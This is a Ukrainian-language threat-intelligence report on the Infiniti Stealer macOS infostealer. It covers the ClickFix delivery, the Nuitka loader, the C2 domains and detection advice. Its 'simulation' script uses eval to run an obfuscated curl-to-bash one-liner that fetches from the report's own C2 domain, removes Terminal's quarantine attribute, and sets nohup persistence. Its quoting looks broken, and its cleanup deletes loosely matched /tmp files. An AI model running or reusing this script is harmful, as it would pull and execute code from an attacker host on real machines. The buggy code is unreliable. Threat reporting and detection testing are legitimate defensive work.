SOC Prime Bias: Середня

30 Mar 2026 15:52

Infiniti Stealer: новий інфорстеалер для macOS з використанням ClickFix та Python/Nuitka

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Infiniti Stealer: новий інфорстеалер для macOS з використанням ClickFix та Python/Nuitka
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Новий інфостілер для macOS під назвою Infiniti Stealer був помічений у використанні соціального інженерного обману ClickFix для зараження користувачів. Шкідливе ПЗ створено за допомогою Nuitka, що перетворює код Python у власний бінарний файл Mach-O, ускладнюючи статичну інспекцію. Після виконання воно викрадає облікові дані, дані Keychain, файли криптогаманців та іншу конфіденційну інформацію, після чого ексфільтрує зібрані дані через HTTP POST-запити. Кампанія також покладається на підроблену сторінку CAPTCHA, розміщену на шкідливому домені, щоб ввести жертв в оману для виконання небезпечної командної оболонки Bash.

Розслідування

Дослідники виявили корисне навантаження під час рутинного відстеження загроз і спершу відстежували його під тимчасовою назвою NukeChain, доки панель загрозового актора не розкрила остаточний брендинг як Infiniti Stealer. Аналіз виявив трьохетапний потік: дроппер Bash, доставлений через підроблену CAPTCHA, завантажувач, скомпільований за допомогою Nuitka, та модуль стілера на базі Python. Дроппер розміщує бінарний файл у /tmp, знімає атрибут карантину і запускає його, передаючи деталі C2 через змінні середовища. Останній етап збирає дані з браузерів, Keychain, гаманців та файлів, пов’язаних з розробниками, перш ніж надіслати їх на сервер під контролем атакувальника.

Захист

Користувачі ніколи не повинні копіювати та виконувати команди з невідомих веб-сайтів, особливо сторінок, що удають із себе перевірки CAPTCHA. Захисники повинні перевірити та видалити підозрілі файли в /tmp or ~/Library/LaunchAgents, запустити надійне сканування антишкідливим програмним забезпеченням і змінити паролі на будь-які потенційно скомпрометовані акаунти з чистої системи. Також слід відкликати будь-які активні API-токени або ключі SSH, які могли бути зібрані.

Відповідь

Команди виявлення повинні стежити за скриптом-дроппером і скомпільованим за допомогою Nuitka бінарним файлом, спостерігаючи за створенням файлів у /tmp які відповідають описаному зразку імен. Сигнали повинні спрацьовувати на виконання шкідливої команди Bash і на вихідний HTTP POST-трафік до ідентифікованого домену C2. Необхідно заблокувати мережевий доступ до update-check.com and infiniti-stealer.com Потім необхідно виконати форензичний аналіз на хостах для ідентифікації викрадених облікових даних і підтримки обов’язкового скидання облікових даних.

"graph TB %% Секція визначень класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Визначення вузлів action_initial_access["<b>Дія</b> – <b>T1204.004 Виконання користувача: Зловмисне копіювання та вставлення</b><br/><b>Опис</b>: Жертва копіює та вставляє шкідливу команду в термінал, що призводить до виконання коду."] class action_initial_access action artifact_captcha_page["<b>Артефакт</b> – <b>Підроблена сторінка CAPTCHA</b><br/>URL: update-check.com<br/>Надає команду для копіювання&#8209;вставки жертві."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Дія</b> – <b>T1102.001 Веб-сервіс: Розв’язувач Dead Drop</b><br/><b>Опис</b>: Використовує веб-сервіс як &#8209;drop для отримання додаткових корисних навантажень."] class action_execution_dead_drop action process_curl_download["<b>Процес</b> – <b>curl</b><br/><b>Команда</b>: curl -sSfL … | bash<br/>Завантажує стадію&#8209;1 Bash dropper."] class process_curl_download process artifact_temp_binary["<b>Артефакт</b> – <b>Тимчасовий бінарний файл</b><br/>Розташування: /tmp/<br/>Прапорець карантину знято після завантаження."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Дія</b> – <b>T1497.002 Перевірки активності користувача</b> & <b>T1497.003 Обхід з таймером</b><br/><b>Опис</b>: Виявляє віртуалізацію або аналіз середовищ перед продовженням."] class action_defense_evasion_sandbox action action_guardrails["<b>Дія</b> – <b>T1480.002 Запобіжні заходи виконання: Взаємне виключення</b><br/><b>Опис</b>: Забезпечує виконання лише одного екземпляра на хості."] class action_guardrails action action_file_deletion["<b>Дія</b> – <b>T1070.004 Видалення файлу</b><br/><b>Опис</b>: Видаляє тимчасові файли та журнали після використання."] class action_file_deletion action action_obfuscation["<b>Дія</b> – <b>T1027.005 Замасковані файли або інформація</b><br/><b>Опис</b>: Використовує обфускацію для приховування зловмисних корисних навантажень."] class action_obfuscation action action_collection_input_capture["<b>Дія</b> – <b>T1056 Захоплення введення</b><br/><b>Опис</b>: Захоплює облікові дані браузера, записи ключів, дані криптогаманця та знімки екрану."] class action_collection_input_capture action artifact_collected_data["<b>Артефакт</b> – <b>Зібрані конфіденційні дані</b><br/>Облікові дані браузера, записи ключів, файли криптогаманців, знімки екрану."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Дія</b> – <b>T1048 Ексфільтрація через альтернативний протокол</b><br/><b>Опис</b>: Надсилає дані через HTTP POST на віддалений сервер."] class action_exfiltration_alternative action artifact_c2_domain["<b>Артефакт</b> – <b>Домен C2</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Артефакт</b> – <b>Повідомлення Telegram</b><br/>Зловмисник отримує статусні оновлення через Telegram."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Дія</b> – <b>T1570 Бічна передача інструментів</b><br/><b>Опис</b>: Завантажує додаткові корисні навантаження на вимогу для подальшого компрометування."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Артефакт</b> – <b>Додаткові корисні навантаження</b><br/>Завантажуються за необхідності для пізніших етапів."] class artifact_additional_payload artifact %% Зв’язки, що показують потік action_initial_access –>|доставляє| artifact_captcha_page artifact_captcha_page –>|запускає| action_execution_dead_drop action_execution_dead_drop –>|використовує| process_curl_download process_curl_download –>|записує| artifact_temp_binary artifact_temp_binary –>|дозволяє| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|включає| action_guardrails action_defense_evasion_sandbox –>|включає| action_file_deletion action_defense_evasion_sandbox –>|включає| action_obfuscation action_file_deletion –>|видаляє| artifact_temp_binary action_obfuscation –>|маскує| artifact_temp_binary action_defense_evasion_sandbox –>|призводить до| action_collection_input_capture action_collection_input_capture –>|захоплює| artifact_collected_data artifact_collected_data –>|відправлений через| action_exfiltration_alternative action_exfiltration_alternative –>|націлюється на| artifact_c2_domain artifact_c2_domain –>|сповіщає| artifact_telegram_notification action_exfiltration_alternative –>|дозволяє| action_lateral_tool_transfer action_lateral_tool_transfer –>|завантажує| artifact_additional_payload "

Потік атак

Виконання симуляції

Передумова: Телеметрія та перевірка базових показників повинні пройти перевірку.

Історія атаки та команди

Атакуючий надсилає фішингове посилання, яке, коли відкрито на робочій станції macOS, запускає наступну одновантажну команду в терміналі. Команда:

  1. Завантажує урл, закодований у base64 (хост корисного навантаження) через curl -sSfL.
  2. Декодує рядок base64, щоб розкрити фактичний HTTPS URL.
  3. Виконує завантажений скрипт за допомогою bash.
  4. Запускає його під nohup щоб зберегти його живим після закриття терміналу.
  5. Знімає атрибут карантину (xattr -dr com.apple.quarantine) для обходу Gatekeeper.

Ці кроки створюють точні фрагменти командного рядка, за якими спостерігає правило Sigma, тим самим генеруючи очікувану тривогу.

Скрипт регресійного тестування

#!/usr/bin/env bash
# ------------------------------------------------------------
# Симуляція інфекції Infiniti Stealer (macOS)
# ------------------------------------------------------------

# 1. Створити шкідливу одновантажну команду (саме як очікує правило)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"

# 2. Додаткові допоміжні функції постійності (включені у виявлення)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"

# 3. Виконати команду
eval "$MALICIOUS_CMD"

# 4. Зачекати кілька секунд, щоб дозволити ingesting до SIEM
sleep 5

# 5. Вивести маркер для ручної перевірки
echo ">>> Симуляція виконана - перевірте SIEM на тривогу <<<"

Команди очищення

#!/usr/bin/env bash
# ------------------------------------------------------------
# Очищення після симуляції Infiniti Stealer
# ------------------------------------------------------------

# Зупинити будь-які фонові процеси nohup, запущені симуляцією
pkill -f "bash <(curl -sSfL"

# Видалити будь-які тимчасові файли, які могли бути створені
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)

# Відновити атрибут карантину на Terminal (необов'язково, для гігієни)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true

echo "Очищення завершено."

Кінець звіту